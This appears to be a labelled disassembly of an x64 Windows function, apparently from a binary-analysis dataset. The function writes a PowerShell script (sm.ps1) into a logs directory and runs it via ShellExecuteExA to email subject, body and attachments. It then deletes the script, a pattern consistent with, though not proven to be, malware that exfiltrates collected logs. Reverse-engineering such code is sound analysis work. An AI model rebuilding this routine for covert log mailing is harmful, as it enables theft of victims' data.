Function at 0x140014b21
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x5e8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x590], rcx
mov qword [rbp + 0x598], rdx
mov qword [rbp + 0x5a0], r8
mov qword [rbp + 0x5a8], r9
lea rax, [rbp + 0xa0]
mov edx, 0
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp + 0xa0]
mov rcx, rax
call method.IO.MakeOneDirectory_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov byte [rbp + 0x55f], al
lea rax, [rbp + 0xa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
movzx eax, byte [rbp + 0x55f]
xor eax, 1
test al, al
je 0x140014c54
lea rax, [rbp + 0x10f]
mov qword [rbp + 0x550], rax
nop
nop
lea rdx, [rbp + 0x10f]
lea rax, [rbp + 0xe0]
mov r8, rdx
lea rdx, str.sm.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x110]
mov edx, 1
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp + 0xc0]
lea rcx, [rbp + 0xe0]
lea rdx, [rbp + 0x110]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.IO.DeleteFileA_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov esi, 0xffffffff
jmp 0x140015463
lea rax, [rbp + 0x15f]
mov qword [rbp + 0x548], rax
nop
nop
lea rdx, [rbp + 0x15f]
lea rax, [rbp + 0x130]
mov r8, rdx
lea rdx, str.sm.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x160]
mov edx, 1
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp + 0x80]
lea rcx, [rbp + 0x130]
lea rdx, [rbp + 0x160]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x160]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x130]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x15f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
call method.Mail.CreateMailSendingScript__
mov byte [rbp + 0x55e], al
movzx eax, byte [rbp + 0x55e]
xor eax, 1
test al, al
je 0x140014dc2
lea rax, [rbp + 0x1cf]
mov qword [rbp + 0x540], rax
nop
nop
lea rdx, [rbp + 0x1cf]
lea rax, [rbp + 0x1a0]
mov r8, rdx
lea rdx, str.sm.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1d0]
mov edx, 1
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp + 0x180]
lea rcx, [rbp + 0x1a0]
lea rdx, [rbp + 0x1d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x180]
mov rcx, rax
call method.IO.DeleteFileA_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1cf]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov esi, 0xfffffffe
mov ebx, 0
jmp 0x14001544c
lea rax, [rbp + 0x23f]
mov qword [rbp + 0x538], rax
nop
nop
lea rdx, [rbp + 0x23f]
lea rax, [rbp + 0x210]
mov r8, rdx
lea rdx, [0x140116567]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x26f]
mov qword [rbp + 0x530], rax
nop
nop
lea rdx, [rbp + 0x26f]
lea rax, [rbp + 0x240]
mov r8, rdx
lea rdx, [0x14011656a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
mov rdx, qword [rbp + 0x598]
lea rax, [rbp + 0x270]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1f0]
lea r8, [rbp + 0x210]
lea rcx, [rbp + 0x240]
lea rdx, [rbp + 0x270]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.Mail.StringReplace_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std
lea rax, [rbp + 0x31f]
mov qword [rbp + 0x528], rax
nop
nop
lea rdx, [rbp + 0x31f]
lea rax, [rbp + 0x2f0]
mov r8, rdx
lea rdx, [0x140116567]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x34f]
mov qword [rbp + 0x520], rax
nop
nop
lea rdx, [rbp + 0x34f]
lea rax, [rbp + 0x320]
mov r8, rdx
lea rdx, [0x14011656a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
mov rdx, qword [rbp + 0x590]
lea rax, [rbp + 0x350]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2d0]
lea r8, [rbp + 0x2f0]
lea rcx, [rbp + 0x320]
lea rdx, [rbp + 0x350]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.Mail.StringReplace_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x80]
mov r8, rdx
lea rdx, [0x140116570]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, str.___Subj__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2b0]
lea rcx, [rbp + 0x2d0]
lea rdx, [rbp + 0x370]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea r8, str.___Body__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0x290]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x34f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x2f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x31f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x23f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov rax, qword [rbp + 0x5a0]
lea rdx, [0x1401165a4]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140015115
lea rax, [rbp + 0x3d0]
mov rdx, qword [rbp + 0x5a0]
mov r8, rdx
lea rdx, str.___Att__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x14011656a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x3b0]
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x70
mov dword [rbp - 0xc], 0x40
mov qword [rbp - 8], 0
lea rax, [0x1401165ae]
mov qword [rbp], rax
lea rax, [0x1401165b3]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x20], 0
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
setne al
mov byte [rbp + 0x55d], al
movzx eax, byte [rbp + 0x55d]
xor eax, 1
test al, al
je 0x14001527a
mov rax, qword [rbp + 0x5a8]
movzx eax, byte [rax]
test al, al
je 0x14001526b
lea rax, [rbp + 0x43f]
mov qword [rbp + 0x518], rax
nop
nop
lea rdx, [rbp + 0x43f]
lea rax, [rbp + 0x410]
mov r8, rdx
lea rdx, str.sm.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x440]
mov edx, 1
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp + 0x3f0]
lea rcx, [rbp + 0x410]
lea rdx, [rbp + 0x440]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.IO.DeleteFileA_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x440]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x410]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x43f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov esi, 0xfffffffd
mov ebx, 0
jmp 0x14001542f
mov rax, qword [rbp + 0x58]
mov edx, 0x1b58
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp - 0x14], 0x64
mov rax, qword [rbp + 0x58]
lea rdx, [rbp - 0x14]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov eax, dword [rbp - 0x14]
cmp eax, 0x103
jne 0x140015375
lea rax, [rbp - 0x60]
mov rcx, rax
call method.Timer.Timer__
mov rax, qword [rbp + 0x5a8]
mov qword [rbp + 0x480], rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x488], rax
lea rax, [rbp - 0x14]
mov qword [rbp + 0x490], rax
lea rdx, [rbp + 0x480]
lea rax, [rbp + 0x460]
mov rcx, rax
call method.std.function_void____::function_Mail::SendMail_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_strin
lea rdx, [rbp + 0x460]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.Timer.SetFunction_std::function_void_____const_
lea rax, [rbp + 0x460]
mov rcx, rax
call method.std.function_void____::function__
lea rax, [rbp - 0x60]
mov edx, 1
mov rcx, rax
call method.Timer.SettotalFunctCalls_long_
mov dword [rbp + 0x49c], 0xa
lea rdx, [rbp + 0x49c]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.Timer.SetInterval_unsigned_long_const_
lea rax, [rbp - 0x60]
mov edx, 1
mov rcx, rax
call method.Timer.Start_bool_
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140029a20
mov ebx, 1
jmp 0x14001542f
lea rax, [rbp + 0x4ef]
mov qword [rbp + 0x510], rax
nop
nop
lea rdx, [rbp + 0x4ef]
lea rax, [rbp + 0x4c0]
mov r8, rdx
lea rdx, str.sm.ps1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x4f0]
mov edx, 1
mov rcx, rax
call method.IO.GetTargetLogsDirPath_abi:cxx11__bool_
lea rax, [rbp + 0x4a0]
lea rcx, [rbp + 0x4c0]
lea rdx, [rbp + 0x4f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x4a0]
mov rcx, rax
call method.IO.DeleteFileA_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x4a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4ef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp - 0x14]
mov esi, eax
mov ebx, 0
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140015447
mov ebx, 1
jmp 0x14001544c
mov ebx, 0
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140015463
nop
ud2
mov eax, esi
jmp 0x1400157d3
add rsp, 0x5e8
pop rbx
pop rsi
pop rdi
pop rbp
ret